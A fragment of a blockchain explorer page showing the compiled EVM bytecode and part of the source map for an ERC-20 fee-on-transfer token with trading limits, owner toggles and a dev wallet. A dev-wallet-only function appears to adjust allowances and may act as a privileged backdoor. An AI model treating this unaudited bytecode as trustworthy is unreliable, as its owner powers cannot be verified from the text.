457600080fd5b506040516012815260200161024c565b34801561036057600080fd5b506102b760075481565b34801561037657600080fd5b50610275610385366004611891565b610785565b34801561039657600080fd5b506102b760065481565b3480156103ac57600080fd5b506102b7600b5481565b3480156103c257600080fd5b506103207f000000000000000000000000000000000000000000000000000000000000000081565b3480156103f657600080fd5b506102b7600a5481565b34801561040c57600080fd5b50610320735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34801561043457600080fd5b506104486104433660046118fe565b6107a7565b005b34801561045657600080fd5b506102b760095481565b34801561046c57600080fd5b5060055461027590600160b01b900460ff1681565b34801561048d57600080fd5b506102b761049c36600461193c565b6001600160a01b031660009081526020819052604090205490565b3480156104c357600080fd5b506104486107da565b3480156104d857600080fd5b506104486107ee565b3480156104ed57600080fd5b506104486104fc36600461193c565b610805565b34801561050d57600080fd5b506005546001600160a01b0316610320565b34801561052b57600080fd5b5061023f6108cf565b34801561054057600080fd5b5061027561054f366004611891565b6108de565b34801561056057600080fd5b5061027561056f366004611891565b610959565b34801561058057600080fd5b5061044861058f366004611960565b610967565b3480156105a057600080fd5b506102b760085481565b3480156105b657600080fd5b5061044861097a565b3480156105cb57600080fd5b5060055461027590600160b81b900460ff1681565b3480156105ec57600080fd5b50610320737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561061457600080fd5b506102b7610623366004611982565b6109f9565b34801561063457600080fd5b506102b7600d5481565b34801561064a57600080fd5b506102b7600c5481565b34801561066057600080fd5b5061027561066f366004611891565b610a24565b34801561068057600080fd5b5061044861068f36600461193c565b610a43565b3480156106a057600080fd5b5060055461027590600160a81b900460ff1681565b6060600380546106c4906119b0565b80601f01602080910402602001604051908101604052809291908181526020018280546106f0906119b0565b801561073d5780601f106107125761010080835404028352916020019161073d565b820191906000526020600020905b81548152906001019060200180831161072057829003601f168201915b5050505050905090565b600033610755818585610abc565b60019150505b92915050565b60003361076f858285610be0565b61077a858585610c5a565b506001949350505050565b60003361075581858561079883836109f9565b6107a29190611a00565b610abc565b6107af6113b7565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6107e26113b7565b6107ec6000611411565b565b6107f66113b7565b6005805460ff60a01b19169055565b600e5461010090046001600160a01b0316331461082157600080fd5b6001600160a01b03811661088a5760405162461bcd60e51b815260206004820152602560248201527f4552524f523a205f64657657616c6c657420616464726573732063616e6e6f74604482015264020626520360dc1b60648201526084015b60405180910390fd5b600e8054610100600160a81b0319166101006001600160a01b03938416810291909117918290559004166000908152601060205260409020805460ff19166001179055565b6060600480546106c4906119b0565b600033816108ec82866109f9565b90508381101561094c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610881565b61077a8286868403610abc565b600033610755818585610c5a565b61096f6113b7565b600c91909155600d55565b6109826113b7565b600b54156109de5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610881565b43600b556005805461ffff60a81b191661010160a81b179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600e5460009061010090046001600160a01b0316610755848285611463565b610a4b6113b7565b6001600160a01b038116610ab05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610881565b610ab981611411565b50565b6001600160a01b038316610b1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610881565b6001600160a01b038216610b7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610881565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610bec84846109f9565b90506000198114610c545781811015610c475760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610881565b610c548484848403610abc565b50505050565b6001600160a01b038316610c805760405162461bcd60e51b815260040161088190611a13565b6001600160a01b038216610ca65760405162461bcd60e51b815260040161088190611a58565b60008111610cf65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610881565b600554600160a01b900460ff1615611125576005546001600160a01b03848116911614801590610d3457506005546001600160a01b03838116911614155b8015610d4857506001600160a01b03821615155b8015610d5f57506001600160a01b03821661dead14155b1561112557600554600160a81b900460ff16610e5d576001600160a01b03831660009081526011602052604090205460ff1680610db457506001600160a01b03821660009081526011602052604090205460ff165b610e005760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610881565b6005546001600160a01b03848116911614610e5d5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610881565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610eb757506001600160a01b03821660009081526011602052604090205460ff16155b15610f9f57600654811115610f265760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610881565b6008546001600160a01b038316600090815260208190526040902054610f4c9083611a00565b1115610f9a5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610881565b611125565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316148015610ff957506001600160a01b03831660009081526011602052604090205460ff16155b1561106a57600754811115610f9a5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610881565b6001600160a01b03821660009081526011602052604090205460ff161580156110ac57506001600160a01b03831660009081526011602052604090205460ff16155b15611125576008546001600160a01b0383166000908152602081905260409020546110d79083611a00565b11156111255760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610881565b30600090815260208190526040902054600954811080159081906111525750600554600160b01b900460ff165b80156111615750600e5460ff16155b801561116e5750600a5483115b80156111ac57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156111d157506001600160a01b03851660009081526010602052604090205460ff16155b80156111f657506001600160a01b03841660009081526010602052604090205460ff16155b1561121b57600e805460ff19166001179055611210611489565b600e805460ff191690555b6001600160a01b03851660009081526010602052604090205460019060ff168061125d57506001600160a01b03851660009081526010602052604090205460ff165b15611266575060005b600081156113a357600554600160b81b900460ff16156112885761128861150e565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03161480156112cb57506000600d54115b15611309576064600d54866112e09190611a9b565b6112ea9190611ab2565b905080600f60008282546112fe9190611a00565b909155506113859050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614801561134c57506000600c54115b15611385576064600c54866113619190611a9b565b61136b9190611ab2565b905080600f600082825461137f9190611a00565b90915550505b801561139657611396873083611598565b6113a08186611ad4565b94505b6113ae878787611598565b50505050505050565b6005546001600160a01b031633146107ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610881565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661147657600080fd5b6001600160a01b038216610b7f57600080fd5b30600090815260208190526040902054600f548115806114a7575080155b156114b0575050565b6009548211156114c05760095491505b6114c9826116c2565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611509573d6000803e3d6000fd5b505050565b6000600b54116115535760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610881565b600b544390600090611566906006611a00565b905080821161157d576012600c819055600d555050565b6004600c819055600d556005805460ff60b81b191690555050565b6001600160a01b0383166115be5760405162461bcd60e51b815260040161088190611a13565b6001600160a01b0382166115e45760405162461bcd60e51b815260040161088190611a58565b6001600160a01b0383166000908152602081905260409020548181101561165c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610881565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c54565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116f7576116f7611ae7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178d9190611afd565b816001815181106117a0576117a0611ae7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117f8908590600090869030904290600401611b1a565b600060405180830381600087803b15801561181257600080fd5b505af1158015611826573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561185b5785810183015185820160400152820161183f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ab957600080fd5b600080604083850312156118a457600080fd5b82356118af8161187c565b946020939093013593505050565b6000806000606084860312156118d257600080fd5b83356118dd8161187c565b925060208401356118ed8161187c565b929592945050506040919091013590565b6000806040838503121561191157600080fd5b823561191c8161187c565b91506020830135801515811461193157600080fd5b809150509250929050565b60006020828403121561194e57600080fd5b81356119598161187c565b9392505050565b6000806040838503121561197357600080fd5b50508035926020909101359150565b6000806040838503121561199557600080fd5b82356119a08161187c565b915060208301356119318161187c565b600181811c908216806119c457607f821691505b6020821081036119e457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561075b5761075b6119ea565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761075b5761075b6119ea565b600082611acf57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561075b5761075b6119ea565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611b0f57600080fd5b81516119598161187c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b6a5784516001600160a01b031683529383019391830191600101611b45565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ec5f079f99fba750fa6e5f51b0eadfd5bb59c9ee772b7de48398ca18fdebae9664736f6c63430008130033

Deployed Bytecode

0x60806040526004361061021e5760003560e01c806370a0823111610123578063bb811508116100ab578063e0f3ccf51161006f578063e0f3ccf514610628578063e4748b9e1461063e578063e6f7053114610654578063f2fde38b14610674578063ffb54a991461069457600080fd5b8063bb81150814610594578063c9567bf9146105aa578063c9f22c3e146105bf578063d28de273146105e0578063dd62ed3e1461060857600080fd5b80638da5cb5b116100f25780638da5cb5b1461050157806395d89b411461051f578063a457c2d714610534578063a9059cbb14610554578063baccf5cf1461057457600080fd5b806370a0823114610481578063715018a6146104b7578063751039fc146104cc5780638705fcd4146104e157600080fd5b806339509351116101a6578063500f495b11610175578063500f495b146103ea57806350a5ca061461040057806355a8bfbc146104285780636c1f67471461044a5780636ddd17131461046057600080fd5b8063395093511461036a5780633c2565ff1461038a57806348cd4cb1146103a05780634f4fc99b146103b657600080fd5b806323b872dd116101ed57806323b872dd146102c55780632b893929146102e55780632dc0562d146102fb578063313ce5671461033857806333cdacd91461035457600080fd5b806306fdde031461022a578063095ea7b3146102555780630feda1d51461028557806318160ddd146102a657600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106b5565b60405161024c919061182e565b60405180910390f35b34801561026157600080fd5b50610275610270366004611891565b610747565b604051901515815260200161024c565b34801561029157600080fd5b5060055461027590600160a01b900460ff1681565b3480156102b257600080fd5b506002545b60405190815260200161024c565b3480156102d157600080fd5b506102756102e03660046118bd565b610761565b3480156102f157600080fd5b506102b7600f5481565b34801561030757600080fd5b50600e546103209061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161024c565b34801561034457600080fd5b506040516012815260200161024c565b34801561036057600080fd5b506102b760075481565b34801561037657600080fd5b50610275610385366004611891565b610785565b34801561039657600080fd5b506102b760065481565b3480156103ac57600080fd5b506102b7600b5481565b3480156103c257600080fd5b506103207f000000000000000000000000b8735fb6ecf3fc29ee5394c3feddf034742eba2881565b3480156103f657600080fd5b506102b7600a5481565b34801561040c57600080fd5b50610320735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34801561043457600080fd5b506104486104433660046118fe565b6107a7565b005b34801561045657600080fd5b506102b760095481565b34801561046c57600080fd5b5060055461027590600160b01b900460ff1681565b34801561048d57600080fd5b506102b761049c36600461193c565b6001600160a01b031660009081526020819052604090205490565b3480156104c357600080fd5b506104486107da565b3480156104d857600080fd5b506104486107ee565b3480156104ed57600080fd5b506104486104fc36600461193c565b610805565b34801561050d57600080fd5b506005546001600160a01b0316610320565b34801561052b57600080fd5b5061023f6108cf565b34801561054057600080fd5b5061027561054f366004611891565b6108de565b34801561056057600080fd5b5061027561056f366004611891565b610959565b34801561058057600080fd5b5061044861058f366004611960565b610967565b3480156105a057600080fd5b506102b760085481565b3480156105b657600080fd5b5061044861097a565b3480156105cb57600080fd5b5060055461027590600160b81b900460ff1681565b3480156105ec57600080fd5b50610320737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561061457600080fd5b506102b7610623366004611982565b6109f9565b34801561063457600080fd5b506102b7600d5481565b34801561064a57600080fd5b506102b7600c5481565b34801561066057600080fd5b5061027561066f366004611891565b610a24565b34801561068057600080fd5b5061044861068f36600461193c565b610a43565b3480156106a057600080fd5b5060055461027590600160a81b900460ff1681565b6060600380546106c4906119b0565b80601f01602080910402602001604051908101604052809291908181526020018280546106f0906119b0565b801561073d5780601f106107125761010080835404028352916020019161073d565b820191906000526020600020905b81548152906001019060200180831161072057829003601f168201915b5050505050905090565b600033610755818585610abc565b60019150505b92915050565b60003361076f858285610be0565b61077a858585610c5a565b506001949350505050565b60003361075581858561079883836109f9565b6107a29190611a00565b610abc565b6107af6113b7565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6107e26113b7565b6107ec6000611411565b565b6107f66113b7565b6005805460ff60a01b19169055565b600e5461010090046001600160a01b0316331461082157600080fd5b6001600160a01b03811661088a5760405162461bcd60e51b815260206004820152602560248201527f4552524f523a205f64657657616c6c657420616464726573732063616e6e6f74604482015264020626520360dc1b60648201526084015b60405180910390fd5b600e8054610100600160a81b0319166101006001600160a01b03938416810291909117918290559004166000908152601060205260409020805460ff19166001179055565b6060600480546106c4906119b0565b600033816108ec82866109f9565b90508381101561094c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610881565b61077a8286868403610abc565b600033610755818585610c5a565b61096f6113b7565b600c91909155600d55565b6109826113b7565b600b54156109de5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610881565b43600b556005805461ffff60a81b191661010160a81b179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600e5460009061010090046001600160a01b0316610755848285611463565b610a4b6113b7565b6001600160a01b038116610ab05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610881565b610ab981611411565b50565b6001600160a01b038316610b1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610881565b6001600160a01b038216610b7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610881565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610bec84846109f9565b90506000198114610c545781811015610c475760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610881565b610c548484848403610abc565b50505050565b6001600160a01b038316610c805760405162461bcd60e51b815260040161088190611a13565b6001600160a01b038216610ca65760405162461bcd60e51b815260040161088190611a58565b60008111610cf65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610881565b600554600160a01b900460ff1615611125576005546001600160a01b03848116911614801590610d3457506005546001600160a01b03838116911614155b8015610d4857506001600160a01b03821615155b8015610d5f57506001600160a01b03821661dead14155b1561112557600554600160a81b900460ff16610e5d576001600160a01b03831660009081526011602052604090205460ff1680610db457506001600160a01b03821660009081526011602052604090205460ff165b610e005760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610881565b6005546001600160a01b03848116911614610e5d5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610881565b7f000000000000000000000000b8735fb6ecf3fc29ee5394c3feddf034742eba286001600160a01b0316836001600160a01b0316148015610eb757506001600160a01b03821660009081526011602052604090205460ff16155b15610f9f57600654811115610f265760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610881565b6008546001600160a01b038316600090815260208190526040902054610f4c9083611a00565b1115610f9a5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610881565b611125565b7f000000000000000000000000b8735fb6ecf3fc29ee5394c3feddf034742eba286001600160a01b0316826001600160a01b0316148015610ff957506001600160a01b03831660009081526011602052604090205460ff16155b1561106a57600754811115610f9a5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610881565b6001600160a01b03821660009081526011602052604090205460ff161580156110ac57506001600160a01b03831660009081526011602052604090205460ff16155b15611125576008546001600160a01b0383166000908152602081905260409020546110d79083611a00565b11156111255760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610881565b30600090815260208190526040902054600954811080159081906111525750600554600160b01b900460ff165b80156111615750600e5460ff16155b801561116e5750600a5483115b80156111ac57507f000000000000000000000000b8735fb6ecf3fc29ee5394c3feddf034742eba286001600160a01b0316856001600160a01b031614155b80156111d157506001600160a01b03851660009081526010602052604090205460ff16155b80156111f657506001600160a01b03841660009081526010602052604090205460ff16155b1561121b57600e805460ff19166001179055611210611489565b600e805460ff191690555b6001600160a01b03851660009081526010602052604090205460019060ff168061125d57506001600160a01b03851660009081526010602052604090205460ff165b15611266575060005b600081156113a357600554600160b81b900460ff16156112885761128861150e565b7f000000000000000000000000b8735fb6ecf3fc29ee5394c3feddf034742eba286001600160a01b0316866001600160a01b03161480156112cb57506000600d54115b15611309576064600d54866112e09190611a9b565b6112ea9190611ab2565b905080600f60008282546112fe9190611a00565b909155506113859050565b7f000000000000000000000000b8735fb6ecf3fc29ee5394c3feddf034742eba286001600160a01b0316876001600160a01b031614801561134c57506000600c54115b15611385576064600c54866113619190611a9b565b61136b9190611ab2565b905080600f600082825461137f9190611a00565b90915550505b801561139657611396873083611598565b6113a08186611ad4565b94505b6113ae878787611598565b50505050505050565b6005546001600160a01b031633146107ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610881565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661147657600080fd5b6001600160a01b038216610b7f57600080fd5b30600090815260208190526040902054600f548115806114a7575080155b156114b0575050565b6009548211156114c05760095491505b6114c9826116c2565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611509573d6000803e3d6000fd5b505050565b6000600b54116115535760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610881565b600b544390600090611566906006611a00565b905080821161157d576012600c819055600d555050565b6004600c819055600d556005805460ff60b81b191690555050565b6001600160a01b0383166115be5760405162461bcd60e51b815260040161088190611a13565b6001600160a01b0382166115e45760405162461bcd60e51b815260040161088190611a58565b6001600160a01b0383166000908152602081905260409020548181101561165c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610881565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c54565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116f7576116f7611ae7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178d9190611afd565b816001815181106117a0576117a0611ae7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117f8908590600090869030904290600401611b1a565b600060405180830381600087803b15801561181257600080fd5b505af1158015611826573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561185b5785810183015185820160400152820161183f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ab957600080fd5b600080604083850312156118a457600080fd5b82356118af8161187c565b946020939093013593505050565b6000806000606084860312156118d257600080fd5b83356118dd8161187c565b925060208401356118ed8161187c565b929592945050506040919091013590565b6000806040838503121561191157600080fd5b823561191c8161187c565b91506020830135801515811461193157600080fd5b809150509250929050565b60006020828403121561194e57600080fd5b81356119598161187c565b9392505050565b6000806040838503121561197357600080fd5b50508035926020909101359150565b6000806040838503121561199557600080fd5b82356119a08161187c565b915060208301356119318161187c565b600181811c908216806119c457607f821691505b6020821081036119e457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561075b5761075b6119ea565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761075b5761075b6119ea565b600082611acf57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561075b5761075b6119ea565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611b0f57600080fd5b81516119598161187c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b6a5784516001600160a01b031683529383019391830191600101611b45565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ec5f079f99fba750fa6e5f51b0eadfd5bb59c9ee772b7de48398ca18fdebae9664736f6c63430008130033

Deployed Bytecode Sourcemap

16532:8033:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6362:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8722:201;;;;;;;;;;-1:-1:-1;8722:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8722:201:0;1023:187:1;16658:34:0;;;;;;;;;;-1:-1:-1;16658:34:0;;;;-1:-1:-1;;;16658:34:0;;;;;;7491:108;;;;;;;;;;-1:-1:-1;7579:12:0;;7491:108;;;1361:25:1;;;1349:2;1334:18;7491:108:0;1215:177:1;9503:261:0;;;;;;;;;;-1:-1:-1;9503:261:0;;;;;:::i;:::-;;:::i;17126:27::-;;;;;;;;;;;;;;;;17095:24;;;;;;;;;;-1:-1:-1;17095:24:0;;;;;;;-1:-1:-1;;;;;17095:24:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;17095:24:0;1858:203:1;7333:93:0;;;;;;;;;;-1:-1:-1;7333:93:0;;7416:2;2208:36:1;;2196:2;2181:18;7333:93:0;2066:184:1;16846:25:0;;;;;;;;;;;;;;;;10173:238;;;;;;;;;;-1:-1:-1;10173:238:0;;;;;:::i;:::-;;:::i;16814:25::-;;;;;;;;;;;;;;;;16976;;;;;;;;;;;;;;;;17160:33;;;;;;;;;;;;;;;16944:25;;;;;;;;;;;;;;;;17319:109;;;;;;;;;;;;17385:42;17319:109;;20360:131;;;;;;;;;;-1:-1:-1;20360:131:0;;;;;:::i;:::-;;:::i;:::-;;16912:25;;;;;;;;;;;;;;;;16737:31;;;;;;;;;;-1:-1:-1;16737:31:0;;;;-1:-1:-1;;;16737:31:0;;;;;;7662:127;;;;;;;;;;-1:-1:-1;7662:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7763:18:0;7736:7;7763:18;;;;;;;;;;;;7662:127;1748:103;;;;;;;;;;;;;:::i;19564:85::-;;;;;;;;;;;;;:::i;20857:278::-;;;;;;;;;;-1:-1:-1;20857:278:0;;;;;:::i;:::-;;:::i;1107:87::-;;;;;;;;;;-1:-1:-1;1180:6:0;;-1:-1:-1;;;;;1180:6:0;1107:87;;6581:104;;;;;;;;;;;;;:::i;10914:436::-;;;;;;;;;;-1:-1:-1;10914:436:0;;;;;:::i;:::-;;:::i;7995:193::-;;;;;;;;;;-1:-1:-1;7995:193:0;;;;;:::i;:::-;;:::i;19400:152::-;;;;;;;;;;-1:-1:-1;19400:152:0;;;;;:::i;:::-;;:::i;16878:27::-;;;;;;;;;;;;;;;;19655:217;;;;;;;;;;;;;:::i;16775:32::-;;;;;;;;;;-1:-1:-1;16775:32:0;;;;-1:-1:-1;;;16775:32:0;;;;;;17435:107;;;;;;;;;;;;17499:42;17435:107;;8251:151;;;;;;;;;;-1:-1:-1;8251:151:0;;;;;:::i;:::-;;:::i;17037:23::-;;;;;;;;;;;;;;;;17008:22;;;;;;;;;;;;;;;;20497:187;;;;;;;;;;-1:-1:-1;20497:187:0;;;;;:::i;:::-;;:::i;2006:201::-;;;;;;;;;;-1:-1:-1;2006:201:0;;;;;:::i;:::-;;:::i;16699:31::-;;;;;;;;;;-1:-1:-1;16699:31:0;;;;-1:-1:-1;;;16699:31:0;;;;;;6362:100;6416:13;6449:5;6442:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6362:100;:::o;8722:201::-;8805:4;405:10;8861:32;405:10;8877:7;8886:6;8861:8;:32::i;:::-;8911:4;8904:11;;;8722:201;;;;;:::o;9503:261::-;9600:4;405:10;9658:38;9674:4;405:10;9689:6;9658:15;:38::i;:::-;9707:27;9717:4;9723:2;9727:6;9707:9;:27::i;:::-;-1:-1:-1;9752:4:0;;9503:261;-1:-1:-1;;;;9503:261:0:o;10173:238::-;10261:4;405:10;10317:64;405:10;10333:7;10370:10;10342:25;405:10;10333:7;10342:9;:25::i;:::-;:38;;;;:::i;:::-;10317:8;:64::i;20360:131::-;993:13;:11;:13::i;:::-;-1:-1:-1;;;;;20444:28:0;;;::::1;;::::0;;;:19:::1;:28;::::0;;;;:39;;-1:-1:-1;;20444:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20360:131::o;1748:103::-;993:13;:11;:13::i;:::-;1813:30:::1;1840:1;1813:18;:30::i;:::-;1748:103::o:0;19564:85::-;993:13;:11;:13::i;:::-;19618:15:::1;:23:::0;;-1:-1:-1;;;;19618:23:0::1;::::0;;19564:85::o;20857:278::-;20942:9;;;;;-1:-1:-1;;;;;20942:9:0;20928:10;:23;20920:32;;;;;;-1:-1:-1;;;;;20971:24:0;;20963:74;;;;-1:-1:-1;;;20963:74:0;;4884:2:1;20963:74:0;;;4866:21:1;4923:2;4903:18;;;4896:30;4962:34;4942:18;;;4935:62;-1:-1:-1;;;5013:18:1;;;5006:35;5058:19;;20963:74:0;;;;;;;;;21048:9;:31;;-1:-1:-1;;;;;;21048:31:0;;-1:-1:-1;;;;;21048:31:0;;;;;;;;;;;;;21110:9;;;-1:-1:-1;21090:30:0;;;:19;:30;;;;;:37;;-1:-1:-1;;21090:37:0;-1:-1:-1;21090:37:0;;;20857:278::o;6581:104::-;6637:13;6670:7;6663:14;;;;;:::i;10914:436::-;11007:4;405:10;11007:4;11090:25;405:10;11107:7;11090:9;:25::i;:::-;11063:52;;11154:15;11134:16;:35;;11126:85;;;;-1:-1:-1;;;11126:85:0;;5290:2:1;11126:85:0;;;5272:21:1;5329:2;5309:18;;;5302:30;5368:34;5348:18;;;5341:62;-1:-1:-1;;;5419:18:1;;;5412:35;5464:19;;11126: